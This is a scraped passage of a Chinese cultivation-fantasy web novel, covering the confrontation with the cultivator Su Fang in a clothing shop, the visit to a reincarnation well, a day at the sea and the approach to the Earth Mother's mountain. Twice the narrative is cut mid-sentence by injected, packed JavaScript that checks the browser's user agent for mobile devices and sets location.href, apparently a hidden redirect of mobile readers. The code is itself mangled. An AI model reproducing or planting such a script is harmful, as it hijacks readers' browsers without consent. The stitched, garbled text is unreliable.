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她的容貌美艳绝伦,玉骨冰肌凝皓雪,朱唇点绛韵味长,自打进店的那一刻起便吸引了所有人的注视。 冉彤也偷偷打量,疑心这惊艳全场的美人就是令夏炎严阵以待的敌人。 “别看她。” 再度收到传音,她连忙撤回视线。 夏炎催伙计包好衣服,急着走人。 冉彤很惊异,以往他遭遇任何敌人都从容淡定,却对这美女流露出近乎心虚的忌惮,对方会是哪路神仙? 那少妇信步踱到他们这方,指着货架上的绿色套装问伙计:“这个样式还有大红的吗?” 伙计生平头一回见到这么美的女人,脸红耳热道:“有的,不过刚被这两位客人买走了。” 夏炎觉得天底下最不凑巧的事全让他遇上了,委实不愿招惹此女,若她要便将衣服让给她。 这时老板跑来献殷勤,拿出一套格外华丽的海青色衫裙向少妇兜售。 “夫人请看这套,这可是正宗鲛绡缝制的,您在整个襄北城找不出第二套相似的质地和做工。寻常人穿只会糟蹋了,似您这般高贵美丽才压得住它。” 少妇看见那衣服,眼神骤然狂暴,右爪猛然戳向老板脑门。 老板好歹是化境修士,竟看不清她的招数,更谈不上及时躲避。 一声巨响,房屋摇晃,少妇的手爪被夏炎的盾光挡住,那倒霉又幸运的老板没被当场开瓢,立刻闪避到远处,气愤惊叫: “我好意推荐,夫人为何出手伤人?” 他看到少妇的修为暴增至极境后期,已属于修真界的巅峰阶层,联系她的外貌和撑伞的特征,依稀猜到她的身份,话到末尾嗓子哆嗦起来。 在场另有人也看出少妇的来历,没有一个敢挑明,全都脚底抹油,唯恐避之不及。 少妇瞵耽夏炎一眼,转头怒斥掌柜:“老娘要去办喜事,你让老娘穿这么晦气的颜色,不是存心找死?” 冉彤听她吐词粗鲁,表情凶悍,丹凤眼里涌动着毒液般的疯癫,仿佛地狱里的罗刹鬼,忽然对应上一个人名。 七曜城“十柱石”之首“断子绝孙”苏芳是个法力登峰造极的女修士,传闻她行事邪僻,迹类疯魔,无论天气好坏出行时都会撑着一把油纸伞,莫非就是眼前这位? 60.横祸 老板怕少妇再行凶,忙示弱求饶:“在下不知夫人忌讳,不慎冒犯实属无心,求您得饶人处且饶人,放在下一马!” 还欲再说,喉咙骤然一紧,已被无形之力扼住脖子拎到半空。 冉彤见堂堂化境修士竟如小鸡仔任其摆布,更怀疑少妇就是那“断子绝孙”苏芳,怕被对方察觉,不敢向夏炎求证。 少妇恨意未消,詈斥老板:“老娘先割掉你半截舌头,免得你今后嘴快。” 夏炎不愿她伤残无辜,有心制止,先被她警告:“慌什么,下一个就轮到你。” 那凶恶的眼神似乎比当年有过之而无不及,看来心魔越发猖獗了。 冉彤见少妇盯上他们,甚是着急,努力思索对策。 少妇动手前一刻,一个外表年轻的孕妇遽然从后堂闪出来,挺着大肚子向少妇作揖哀告。 “求夫人开恩,放过我相公!” 这孕妇修为已达化境后期,照理有能力一搏,可是却放弃武力和自尊,卑微乞怜,可见也已猜出少妇的来历,不敢以卵击石。 少妇瞅她一眼,冲掌柜扬了扬下巴,粗声问:“这长舌鬼是你男人?” 孕妇忙不迭点头,双眼泛起惶急的泪光:“外子为人愚笨,自来不太会说话,求夫人莫要同他一般见识。小女子怀胎三年,下个月即将临盆,不奢求孩子有个厉害的爹,只望他肢体健全,能对我们娘俩嘘寒问暖。您看在孩子的份上饶了他吧!” 夏炎想这老板娘心思倒活络,求饶求到了点子上,或许能奏效。 少妇冷眼打量老板娘片刻,杀气果然淡退了,质问:“这厮平日对你如何?可曾有过负心之举?” 老板娘摇头加摆手,若非身子笨重,真想化身拨浪鼓。 “没有没有,他别的地方尔尔,但用情极为专一,对我千依百顺,温柔体贴,成婚二十年从未跟我说过一句重话。” “休要哄骗老娘。” “小女子句句属实,断无欺瞒!夫人您看小女子修为比外子高,若非他这方面可人意,小女子怎会和他结道侣?夫人割了他的舌头是小,可怜我的孩儿今后就听不到他爹唤他的名字了,求您大发善心,高抬贵手!” 老板娘嘤嘤嗡嗡哭了几声,老板轰然坠地,摔了个四仰八叉。 老板娘见丈夫没受伤,忙招呼他过去向少妇跪地谢恩。 老板暗夸妻子机敏,使劲向少妇叩头道:“谢夫人不残之恩,在下这就把店里所有颜色喜庆的衣服都搬出来,凡是您打上眼的,小店立即免费奉送。” 少妇厌烦挥袖,两口子哈腰退下,指挥伙计搬运货物。 冉彤见她转向夏炎,接下来是要清算这头了,偷偷替老鬼捏把汗。 且不论开战后输赢如何,在大城市里闹出事故,定会妨碍他们之后的行程。 夏炎也做如是想,镇定警告少妇:“城中禁止斗法,还请夫人勿要造次。” 少妇艳丽的脸重新升腾煞气,隔空向他放出一道爪印。 众人的眼睛都被强光遮蔽,忙用神识观战。 只见二人被包裹在一道球形的屏障内,屏障里电光四射,犹如巨龙张牙舞爪,飞速旋转的气流将他们的身形抹成残影。赤火腾跃,银光射斗,唬得人心颤神乱。 少妇的法力带给冉彤极大震撼,而老板夫妇则在惊叹夏炎的实力。 这其貌不扬的老头儿竟能与传闻中的女魔头斗得旗鼓相当,不知是哪路高人伪装的。 夏炎感觉少妇的修为比当年又有了不小的提升,久持下去自己必败。想速战速决就得出狠招,可那么做势必暴露身份,只会激得她当场发狂。 惊人的破坏力都被屏障阻挡,没对外界造成伤害,可数息后强大的灵力威压仍渗透出来,惊动了城中的修士们。 离恨天驻襄北的主事王旭率先赶来查看,老板夫妇见他来了,忙传音告知情况。 王旭认出少妇,深悔不该触这霉头,再想抽身为时已晚,只得作张作势冲屏障内的双方断喝:“市集要冲岂是汝等殴斗之所?再不住手我就把你们抓起来押送缥缈城治罪!” 他成功转移了少妇的注意,屏障内飞出一条白练似的电光,缠向他的腰际。 这王旭的师祖是离恨天太上长老之一的金世勋,王旭手里有他赏赐的法宝龙魂镜,危机当前赶紧抛出来应敌。 镜面里飞出一条黑龙缠住那电光,黑白相交,光芒迸裂。那电光长出许多荆棘状的尖刺,将黑龙扎得千疮百孔,同时膨胀了数十倍。 罡气流散地动屋摇,店内的物品都被吹飞,众多衣服布料犹如彩色大鱼飞旋游动。经过法力加固的地板、梁柱、墙壁噼啪开裂,眼看这一带的房屋都将被摧毁。 围观者们慌忙合力构筑护盾,然而不过杯水车薪。还是少妇自行扩展了球形屏障,保护战圈以外的事物。 王旭看出对方有节制,主动认输撤回法宝。 龙魂镜的镜面已出现两条深深的裂纹,必须去求金老祖亲自修补了。 亏得他打岔,少妇暂时同夏炎罢战,厉诘:“小子,你是金世勋的弟子?” 王旭紧张得汗流浃背,强装硬气道:“我是金老祖的徒孙王旭,现任离恨天驻襄北主事。苏前辈来襄北做客,王某本当待以贵宾之礼,实不该无视我们两派的协议,当街滋事。” 少妇的身份被坐实了,冉彤怙惴地悄悄咽唾沫。 她领教过秦不羁的凶蛮,这苏芳看样子比老秦还可怕,任其发疯不知会闹到什么地步。 转头看夏炎,他也正好看向她,微微抬手示意她过去。 她忙跑到他身边,夏炎侧身护住她,峻色凝睇苏芳的背影,寻思如何甩掉这冤家。 苏芳正冲王旭泼骂:“你眼珠子生在腚眼里,没见老娘打架时设了隔离法阵?真想生事这襄北城早化作瓦砾了,还轮得到你小子来聒噪!?” 话粗理不糙,王旭不敢反驳,忙求和:“前辈既知晓轻重就请换个场所解决争端,城中人口稠密,倘若波及无辜,我们都不好向各自的上方交代。” 苏芳冷笑:“你还想拿白师弟压老娘?老娘想做什么便做什么,谁都管不着!” 冉彤刚知道苏芳和白子落是同门师姐弟,这位姑奶奶不止法力高强,还是魔道里的大姐头,此番碰上真倒大霉了。 王旭惹不起苏芳,转身警告夏炎。 “这位道兄,王某不管你与苏前辈有何过节,俗话说入国问禁,入乡随俗,这襄北自来禁止修士斗法,你若再违禁,今后都不许再踏入城池半步。” 夏炎冷静辩解:“我和这位夫人素无恩怨,方才见她出手伤人稍加阻拦,不知为何会激起她的杀念。” 目击者们都不敢替他说公道话,冉彤气不过,在他身后探头质问苏芳:“这位夫人,我叔公对你并无恶意,方才老板冒犯您,您都肯饶恕,为何还要难为我们?” 夏炎察觉苏芳在用神识观察冉彤,赶紧伸手将小丫头拨到身后。 封无牙的幻术瞒不住这女人,她若认出冉彤更要雪上加霜。 幸亏苏芳成天疯疯癫癫,不关注外界动向,也不常和七曜城的同伙联系,获取时事的速度比常人滞后好几年,尚不知晓夏炎出逃的消息,更不清楚冉彤是谁。 她见夏炎行动慌促,只当他在护犊子,又抛出一道电光去拿人。 夏炎施法抵挡,严声郑告:“夫人针对我便罢了,何苦难为小辈?” 苏芳烦躁:“她不是要跟老娘说话吗?你让她出来,老娘不会吃了她!” 双方说话又要开打,周围人都慌得没辙。 冉彤看出这女人性格极端,顺着她的意思来或许能缓和局势,忙对夏炎说:“叔公,夫人只是想跟我说话,您别担心。”又冲苏芳求嚷:“请夫人先撤了法术,否则晚辈不敢露头!” 苏芳应声罢手,夏炎想叮嘱冉彤几句,这丫头已轻快地绕到他跟前,恭敬地向苏芳行礼。 “晚辈在此,敢问夫人有何赐教?” 苏芳冷哼:“你这丫头胆子倒挺大,也罢,老娘向来明人不做暗事,这便还你个明白。这小老头儿千不该万不该穿这身蓝衣,老娘见了火大,杀了他方能解恨。” 怪人说怪话,听者也不觉得惊奇。 冉彤知道对付这种人不能认真讲道理,先假装噗嗤一笑。 苏芳嗔怒:“死丫头,你也活腻了?” 冉彤忙摇头:“晚辈刚才忍不住揣测了一下前辈的感受,您那么讨厌蓝色,那看见江海湖泊又不能抽干它们,岂不是很郁闷?还有,今天天气这么好,您却撑着伞,想必是在遮挡蓝天,晚辈真替您累得慌。” 苏芳见她敢挑明自己的心思,倒对这异常胆大的丫头产生些许兴趣,质问:“你知道你在跟谁讲话吗?” 冉彤不慌不忙点头,第二次恭敬行礼:“修真界谁不知道‘断子绝孙’苏芳的大名?晚辈儿时淘气,父母还常拿您的事迹吓唬我,那时十分奏效呢。” “那时?这么说你如今不怕老娘了?” “不不,今日晚辈亲眼目睹阁下神通,更比过去畏惧了三分。” “那你还敢这么跟老娘讲话?” “前辈莫怪晚辈失礼,晚辈觉得前辈是嫉恶如仇的善人,不会伤害无辜。” 苏芳两千多年没听人这么评价自己了,直觉冉彤在撒谎,哈哈两声,狞恶道:“小丫头挖苦人,也该割了舌头!” 夏炎不等她说完便冲上去,及时抓住她伸向冉彤的右爪。 那五颗尖锐的红指甲在冉彤鼻尖前定住,她暗暗攥紧拳头,防止自己在关键时刻泄气,镇定面对苏芳妖魔般骇人的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943387|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晚辈句句属实,求前辈不要误解!您方才听老板娘求情便打消杀念,还关心她有没有被老板欺负过。同我叔公斗法时又设屏障保护围观者和周围事物。常言道,听其言不如观其行,晚辈就是凭这些判断您是好人的。” 她言之凿凿令人信服。 那些害怕苏芳的人据此细思,也觉得这女魔头还没到丧心病狂的程度,这场风波没准能善了。 夏炎感觉苏芳杀心已去,缓缓松手,将冉彤护至身后。 冉彤抓住他的衣袖哀求苏芳:“叔公是晚辈唯一的亲人,苏前辈若杀了他,晚辈便无依无靠了。求您再发发善心,恕他不知之罪。” 随后悄声提醒夏炎:“叔公快换身衣服,免得苏前辈碍眼!” 夏炎施法将衣物都改成黑色,懊悔方才太粗心,假如在苏芳到来前改换服色怎会节外生枝? 苏芳仍像捕猎的蛇冷冰冰瞪视他,问冉彤:“你这叔公可曾做过负心汉?” 连续两次听她提同样问题,冉彤明了她的好恶,忙说:“我叔公未曾婚娶,也从未与人有过感情纠葛,绝对不是负心汉。” 苏芳未肯轻信:“你才多大点岁数,怎知他在你出生前干过什么?” 她强硬地向夏炎提要求:“用‘守心咒’说一遍你从未对女子始乱终弃,背信弃义,三心二意,我便饶你不死。” 以道心起誓,如有虚言,道心即毁,是为“守心咒”。 见苏芳在地板上画出咒文,喝令他入内,夏炎不禁回想起当年被她和好事者们逼迫刁难的景象,耻辱冤屈似跳蚤爬满心坎,咬得他心烦意乱。 “怎么,不敢吗?” 女人泼悍地瞪大双眼,俨然蓄势待发的猛虎。 想到初见时她可不是这副德性,夏炎萌生怜悯,依言步入法阵,右手当胸结印,念出誓词:“皇天后土,四方神明为证,我 此生从未对任何女子始乱终弃,背信弃义,三心二意,更不曾虚情诱惑,设局坑骗,阴谋迫害。若有半句不实,立时道心粉碎,修为尽毁。” 他特意加上那十二个字,是想当着苏芳的面再为自己澄清一回,希望有朝一日这桩害苦彼此的冤案能够水落石出。 苏芳严密监控法阵,确定他没弄虚造假,便如约不做计较。 “看你尚有可取之处,今日暂且放过。但那套衣服得留下,老娘逛了半天只相中这身,懒得再挑了。” 冉彤灵醒接话:“晚辈也觉得这套衣服前辈穿起来更好看,就怕喜宴上的人说您抢了新娘子的风头。” 苏芳斜睨着她:“老娘几时说过要去参加喜宴?” “……晚辈方才听您说要去办喜事,难道不是去喝喜酒吗?” “呵呵,老娘要去杀人。” 她笑盈盈的眼神比刀锋瘆人,冉彤不敢多嘴,强笑着唯唯点头。不料那喜怒无常的女人堂皇逼近,命她摊开手心。 冉彤斗胆照办,接住一根短小的红色线香。 “日后若遇负心汉就点起这根香,老娘会替你杀了他。” 苏芳放话时眼神里闪烁着疯狂的期盼,助人为乐是幌子,多一个杀负心汉的机会才是目的。 她收起衣服,像来时那般撑起纸伞,柳腰款摆,风情万种地走出店门,留下满堂死寂般的静谧,仿佛一个来去都快的荒诞幻梦。 人们怕她去而复返,各自以神识仔细搜索,再也感知不到她的气息时才如释重负地放松神经。 老板夫妇先向王旭致谢,王旭草草敷衍,走时告诫夏炎:“那女魔头性情反复,不可以常理揣摩。道兄若无别事还请尽快离开襄北,以免再遇祸端。” 老板夫妇转谢夏炎救命之恩,包了两套上好的成衣送给冉彤。 这两套衣服质地更好也更贵重,但不如之前那套好看,冉彤顾不上挑剔,夏炎却明确替她拒绝。 “她年纪小,不适合这些老气横秋的样式,麻烦再取几套让我们看看。” 冉彤悄然不安道:“晚辈随便穿什么都好,前辈别再为我费事了。” 要不是为了给她买衣服也不会有这场飞来横祸,她真怕再给他添麻烦。 夏炎想法跟她相反,小丫头本来高高兴兴的,被他连累得无端受惊吓,他正该加倍补偿,温和回应:“这怎么叫费事呢?女孩子穿称心的衣服才开心,刚才的事只是意外,不用在意。” 老年人的一大优点就是情绪稳定,像夏炎这种随时随地拎得清,不焦躁、不迁怒、不沉郁,任他风雨多变幻,心若平湖静自闲的作风最得冉彤欢心。 他温柔起来真像爹和表哥,处事果决和可靠方面又跟娘和大姐姐一样……总之集合了所有她喜欢的人的优点,是个完美的理想型长辈。 天之道损有余而补不足,上苍定是见她失去了太多亲人才还给她一个夏炎。 61.看海 冉彤选了一套粉红色带梨花绣纹的衫裙和一双海象皮做的翘头靴。 老板娘送她一对耳环、一条金丝编织的宝石腰带。 她在店里换穿起来,衣服和鞋子都很合身,粉色衬得她的皮肤白皙娇嫩,小圆脸像个染了胭脂的糯米团子,软乎乎、俏生生的。 老板夫妇看了直夸,期盼他们的女儿生下来也这么可爱。 冉彤不稀罕他们的赞美,蹦蹦跳跳来到夏炎跟前转了个圈,兴冲冲问:“叔公,好看吗?” 小孩子特有的邀宠神态让夏炎压不住嘴角,年轻时他很受孩子们欢迎,常领着一帮小鬼捣蛋淘气。 后来成了宗师级别的人物,小辈们怀德畏威,见了他都恭敬拘谨,很少有冉彤这样自然而然亲近他的。 要是她再小个十一二岁,他真想动手捏捏她那圆溜溜的脸蛋。 殊不知这鬼灵精的丫头扮乖巧讨好他是在为套话做铺垫,别的事还能放一放,她可太好奇夏炎和苏芳的恩怨了。 照二人的表现看,苏芳早年铁定吃过感情的亏,而夏炎八成就是她恨之入骨的负心汉。 老鬼能顺利通过守心咒试炼,说明没做过对不起女方的事,双方的过结会是什么原因造成的呢? 离开衣帽行,冉彤指着街边的茶楼说:“那铺子里的茶好香呀,前辈,我们去喝一碗茶,歇歇脚可以吗?” 夏炎怎会说“不可以”,点头陪她去喝茶。 之后冉彤瞅准时机开启话题:“早听说那苏芳是个疯婆子,没想到本人这么美丽,言行举止瞧着是挺怪,莫非练功走火入魔了?” 夏炎不吭声,表情明显不如前面松弛了。 冉彤假装没看见,问:“前辈以前认识她吧?她是怎么变成这样的啊?” 夏炎不自觉叹气,胸口被这难言之隐梗住,想转移冉彤视线,答非所问道:“他们这儿的点心似乎不错,你要尝尝吗?” 好孩子见他这么尴尬定然懂事住口,冉彤的坏心眼和好心眼平分秋色,这会儿只顾满足好奇欲,用力摇了摇头,转换套话方式,故作老成道:“都说修真者最难过情关,很多强人都在情爱问题上栽过跟头,其他事上无所不能,一谈情说爱念头就不通达了。我娘年轻时就遇到过这样一个男人,刚开始两情相悦,都是奔着厮守终生去的。可相处久了我娘越来越觉得彼此不合适,便决绝断情,后来认识我爹才真正找到知心人。那男人得知我爹娘结为道侣便钻了牛角尖,跑来烈阳责怪我娘负心,又说我爹横刀夺爱,百般纠缠胡闹。我娘忍无可忍狠狠揍了他一顿,联合我伯父伯母把他赶跑了。那男人羞惭无地,不敢再骚扰我爹娘,可心魔已生,难以自拔,不久便在讨伐恶妖的战役中陨落了。” 她陈述完事情,盖棺评价道:“这人当时已至化境修为,资质很不错,要不是为情所困走了歪路,本该大有作为。可惜沉湎儿女私情,作茧自缚,委实令人唏嘘。” 夏炎岂不知她在旁敲侧击挖他的隐私,作色数落:“你做女儿的就这样对长辈说三道四?” 冉彤娇声辩解:“是我娘特意讲给我听的。她说女儿家最怕情路坎坷,要多积累这方面的见闻,从别人的爱恨纠葛里窥见情爱的真谛和为人处世之道。她还说很多男人认为脸皮薄,见识少的女子好欺负,要求女子不要谈论这些话题,若听他们的只会把自己变成傻瓜。晚辈估计苏芳年轻时就是这样一个傻瓜,才会落到如此下场。” 夏炎内心认同她的说法,笑叹:“狡猾的丫头,你想套老夫的话何必绕这么大弯子。” 冉彤以为他要吐露实情了,忍住兴奋,双手托腮问:“前辈是怎么被苏芳误解的?” 夏炎瞟她一眼,严肃道:“老夫说过,不该你知道的老夫绝不会说,那样只会害了你。” 冉彤白费力气,郁闷地撅起小嘴,她已经够放肆了,再得寸进尺保不住会惹恼夏炎,被迫收起好奇,嘟哝:“不说算了,反正晚辈听过各式各样离谱的怪事,也不差这一件。” 夏炎无奈地瞥了瞥她,等她喝完碗里的茶水,催促:“你歇够了吧?快去宝光寺,回头还得去办正事呢。” 他们来到宝光寺,夏炎随处赏玩,让冉彤独自去看轮回井。 冉彤正巴不得如此,将那颗玄黄石藏起,用现银兑付了观井的费用。 那口井在寺庙东侧的一座偏殿旁,外观是很普通的八角井,上面盖着厚厚的玄武岩井盖,一只栩栩如生的石雕大蟾蜍蹲在井盖上。两只眼睛用巨形猫眼石镶嵌,日照下光泽潺动,如同活物。 主持介绍说:“阴司里的轮回台就是由□□仙人掌管的,这蟾蜍雕像上有它一丝精魄,是以能连通观井人前世的影像。” 他带冉彤绕井观看一遍,说:“照规矩,敝人不能窥看客人照影,您大可不必担心隐私外泄。” 冉彤夸这规矩好,不会暴露身份。 主持教她站到井边指定的方位,自己退到远处的墙根下,念动咒语,揭开井盖。 那石头蟾蜍立刻生动起来,跳下井盖一头蹦入井口,扑通沉底。 青色的水面发出耀眼的银光,主持请冉彤即刻观照。 冉彤欣欣然探头下望,眼前景象不符合所有预想,水面上空空如也,连她本人的影子都看不到。 她怀疑出了差错,忙问主持:“我怎么什么都看不到啊?” 主持见井口透光,步骤都正常,反问:“水面是空白的吗?” “嗯。” “哎呀呀,恭喜恭喜,客人是有福之人啊!” 主持收了法术,石头蟾蜍跃出井口回到井盖上,水面复原,映出冉彤狐疑失望的表情。 她怀疑上当,质问迎上来的主持:“你们这轮回井该不是骗人的吧?” 主持笑道:“您这话说的,这井存在上万年,不知接待过多少客人,若是骗局,苦主们早把敝寺拆干净了。” “那我为何看不到自己的前世?” “这正是敝人恭喜客人的地方,水面空无一物,说明客人没有前世,现在就是您的第一世。” 他说世间万物最初都是由天地灵气所化,第一世灵气最足,也不会受前世因果孽力牵引,通常最容易出成就。 “您就相同于一幅上好的画纸,洁白无瑕,尽是无限可能。往后当以壮志为墨,豪情作笔,绘就宏图盛景,书写不朽篇章,敝人有生之年定能看到您的辉煌事迹。” 主持眉飞色舞恭维,冉彤淡然处之,这种迎来送往的老油条最擅长拍马屁,大概怕她索还观井费,想拿好话糊弄。 可是主持的好话后面还跟着几句不太中听的良言。 “人生多歧途,您下笔前还须深思熟虑,,一旦污损,纵有巧思也难挽回。这第一世做好坐歹都容易,望您心向光明,持正而行,莫要委误了大好前程。” 冉彤疑他故弄玄虚,让他报几个“第一世”的名人。 主持侃侃介绍了三个脍炙人口的历史人物,还说他们在宝光寺留有墨宝,一会儿可领她前去瞻仰。 冉彤让他再举几个反面例子。 主持想了想,犯难道:“这坏榜样倒也有,只是提起此人不太吉利,客人先答应不外传敝人才敢说。” 那在“第一世”便造下大孽的恶人竟是“极恶魔星”。 “那魔头也来照过轮回井?” “是啊,据说那时他同您一般年纪,还是敝人的曾曾师祖接待的。” “那时是多早以前啊?” “唔……差不多有两千七百多年了吧。” 获悉这则逸闻,冉彤觉得两千两银子没白花,跟随主持游览了一些寺内的名胜古迹,去与夏炎会合。 “怎么样?看到前世的自己了吗?” 见他笑微微询问,冉彤觉得说实话怪丢脸的。 老鬼早说观井浪费钱,若知道我白跑一趟定会笑话。 “不告诉你。” 她故意卖关子,夏炎好笑:“这还用保密?” 他以为冉彤前世是动物或者精怪,不好意思承认。 冉彤一语双关道:“晚辈的事前辈都知道,却不肯告诉晚辈您的事,所以晚辈也要有自己的秘密,这样才公平。” 个性骄傲的女孩子常在小事上较劲,夏炎以长辈的眼光看来着实可爱。 “淘气的丫头,随你吧。我们该去拜访地母了。” 二人出城,用缩地术前往地母居住的北疆大漠。 天色渐渐暗了,冉彤瞧见衣服上的花纹随着光线变化,盛开的梨花此刻都闭合成了花蕾,飞舞的蝴蝶也停靠在了枝头。 她惊喜地和夏炎分享这一发现,夏炎早在买衣服时便看出这装饰用的小法术,仍迎合她的情绪笑赞:“这样更好看,有种含蓄的美。” 冉彤微微噘嘴:“前辈是不是觉得这衣服现在和晚辈不相称啊?” 夏炎不解:“怎么又扯到这上头来了?” “您早上还说晚辈不含蓄,那自然配不上这么含蓄的图案啦。” “你这丫头真是……” 能让夏炎苦笑的人不多,冉彤是第一个时不时顶撞他,还不会引发反感的人。 这丫头古灵精怪爱使小性子,但其活泼善良又如春日暖阳,最难得的是屡遭厄运还越挫越勇。看见她,他仿佛看着曾经那个年少轻狂的自己,怎不怜惜包容? 若能始终保持这份赤子之心,他不介意她永远任性下去。 冉彤最会摆布长辈,说了顽皮的话以后马上同他们分享一些新鲜事,便可风和日丽。 她跳跃着抢到夏炎前头,转身面朝他,背着手倒退走路,俏皮道:“前辈照过那轮回井吗?” 夏炎点头:“正是照过才觉得没意思。” “前辈前世长什么样?” “你都不肯说你前世的样子却来问老夫,这样公平吗?” 冉彤知道夏炎在逗她玩,心想老鬼转世后模样肯定没变化才会这么说,自顾自道出真正想交流的信息。 “那主持说,两千七百多年前极恶魔星也去过宝光寺观井。晚辈今天才知道那魔头不仅和前辈同姓氏,连年岁也差不多。您一定认识他,对吗?” 夏炎演技不过硬,没藏住诧异,让她确定了答案。 “晚辈早猜到您当年是与他齐名的大人物,被离恨天抹去了相关记载。那极恶魔星真如传说的那么坏?” 夏炎瞧她的态度不像在下套,平静反问:“你是如何看待他的?” 冉彤认真作答:“晚辈从小听人讲述他的种种恶行,也曾深信不疑,可自从被离恨天陷害后便不再相信他们了。感觉他们对极恶魔星的描述言过其实,那魔头并没有那么坏,因为和他们做对,罪行被刻意夸大了。” 她能理性分析问题,很令夏炎欣慰,但依然守口如瓶。 “老夫不喜评论他人好坏,你想了解谁就靠自己的眼睛去观察吧。” “他都死一千年了,晚辈上哪儿去观察啊?” 冉彤以为夏炎纯粹在回避提问,怕她顺势套出关于他的信息。 尽管明白他出于好心,可不愿分享秘密也是信任不足的表现,未免令她感到失落。 夏炎善于体量他人,知道她错解了自己,便用别的方式表达亲近,看着她的耳环说:“这对耳环是不是有点笨重?” 那老板娘很有诚意,耳环坠子是用红色天晶石镶嵌的,价值不菲,可分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冉彤换上那对耳环,感觉轻如无物,丝毫没有负担。 对镜观看,那小珍珠盈盈流光,映得她眼眸如星,牙若编贝,多出三分容色,可以小小的臭美一下了。 夏炎打发了蚌壳精,面对面笑问:“喜欢吗?” “喜欢喜欢,谢谢前辈!” 冉彤配合言语用力点头,一扫先前的失落感。 老鬼没有排斥她,出于待见才给她这么多耐心和关爱,这份感受比昂贵的礼物更让她喜悦。 “耽误了这么久,我们快去找地母吧。” “地母昼伏夜出,你没看过海,玩会儿再走不迟。” 二人来到无人的沙滩上,暮云合璧,落日熔金,灿黄色的沙滩被夕阳晕染成酡红色,像酒醉的美人正伏地酣睡。海风携带陌生的咸腥味悠悠吹拂他们的衣衫发丝,引得不远处的树林沙沙作响,每个音符都跳动着安然与宁静。 冉彤兴奋地脱掉鞋子奔向大海,像活泼的小鹿在海浪间跳跃奔跑,翻飞的素足溅起串串晶亮的水花。 她觉得海浪有知觉似的追着她跑,于是大笑躲避,双手掬起海水同它们打水仗,又捡起被海浪卷上岸的鱼虾贝类扔回海里。 海岸边洋溢着她铃铛般的笑声,夏炎望着少女欢快的身影,眼里满是柔情,嘴角不自觉地上扬,被这温馨景色勾起对往昔岁月的回忆。 与妻子定情不久,他为满足她一起看海的愿望,陪她去到海边。 彼时春日迟迟,黄昏如蜜,她身着一袭素罗裙,恰似梨花淡淡烟,婉约柔美。 初见大海,她喜形于色,却由于文静端庄,只是呆呆伫立在沙滩上,不知如何融入美景。 他生性洒脱,见她束手束脚便满心怜爱,笑着牵住她的手,带她去浅滩亲近热情的海浪。 被海水弄湿衣裙后她明显很慌张,生怕失态急着要上岸。 他爽朗大笑,一边安慰一边捧起海水洒向二人头顶。 水珠似碎玉落纷纷,她抬眸对视,眼中的欢喜伴随着生涩和胆怯,很久以后才对他说:“我从不知道人可以这么快乐。” 他怎么也没想到,说好至死不渝的深情会突然变质,给他最致命的打击。就算接受了现实,不甘与疑惑仍似噩梦缠绕。 “前辈!您看,我捡到这么多好看的贝壳!” 冉彤捧着一堆大海的馈赠跑到他跟前献宝,向他请教那些贝类的名字。 夏炎一一说明,笑道:“都是些再普通不过的品种,以后若有机会,你可去无尽海渊逛逛,那里的贝壳才叫漂亮呢。” 冉彤摇头:“不不,它们是晚辈亲手挑选的,晚辈要存起来做纪念。” 她将贝壳串成项链,连同美好记忆一并收藏,小脸持续绽放着开心的光芒,借着这股兴头,忽然双手拉住夏炎的袖子诚恳起誓:“谢谢前辈带晚辈来看海,今天是晚辈落难以来最高兴的一天,您对晚辈这么好,晚辈定会双倍报答,今生今世绝不背叛您!” 夏炎微微一怔,思绪瞬间飘远,恍然间看到了当年的妻子。 那时她的眼神也似这般纯净坚定,让他坚信他们的情义会像波澜壮阔的大海亘古不变。 “前辈?……晚辈说的都是心里话。” 冉彤反思自己的表白是不是太做作了,不禁局促起来。 夏炎已不再轻信任何人,但这一刻,他愿意接受小丫头的善意,放下残酷过往,不去纠结誓言真假,真诚回馈她温柔温暖的微笑。 “知道了。” 62.仙童 北疆大漠与庆隆州、中州接壤的地带干旱少雨,自古是无人居住的沙漠和荒原。 但越过这一区域到了大漠腹地便会看到水草丰美,林木葱郁的富饶景象,这与地理违和的环境都仰赖于地母的庇护。 这位娘娘慈悲为怀,将条件优越的地区让给其他生灵,只挑最贫瘠苦寒的地带定居,靠一己之力将荒漠变成生机盎然的沃土。 冉彤对此另有见解,认为地母此举也是方便自身修行。 蚯蚓本就具备改变土质的天性,日常排泄出的废物恰好能转变成适宜植物生长的养料,上古时神明们定是看中她这一利人利己的特性才委派她看守灵脉。 夏炎认同她的见解。 “修真者汲取天地灵气,采撷万物精华,无止境地向自然索取,却鲜少能予以回馈。似地母能以黄沙大漠做道场,焦土砂砾为资材,于修炼中反哺自然,实是旁人未有的厚福。像这种生来即被上苍委以重任,担负天下兴衰的修行者就是所谓的天命人。” “天命人”是修真界一个广为流传却又无人问津的名词。 相传“天命人”是众神意志在人间的体现,肩负着守卫凡界,弘扬正道的使命,每次出现都会引发重大变革,为人世带来翻天覆地的新气象。 历史上还没出现过真正的天命人,太上大罗道祖自称上天在人间的代表,用一成不变的统治秩序主宰人界十余万年,让世人以为天命人终究只是传说。 大漠里存在数十座规模不等的城市,常住人口近千万,虽未正式建州,也早已归属离恨天管辖。 地母住在大漠中心的常乐山,这座山是人妖两族共同尊奉的圣山,禁止随意出入,欲拜访地母须先递送名帖。 夏炎揣着变成小人的冉彤来到山门前。 夜沉如墨,空山鸟静,山门巍峨的牌坊耸立在淡蓝色的雾气中,上面遍布岁月风霜镌刻下的的斑驳痕迹,那些精雕细琢的瑞兽和繁复古奥的符文已深度磨损,反而营造出几分庄重神秘的氛围。 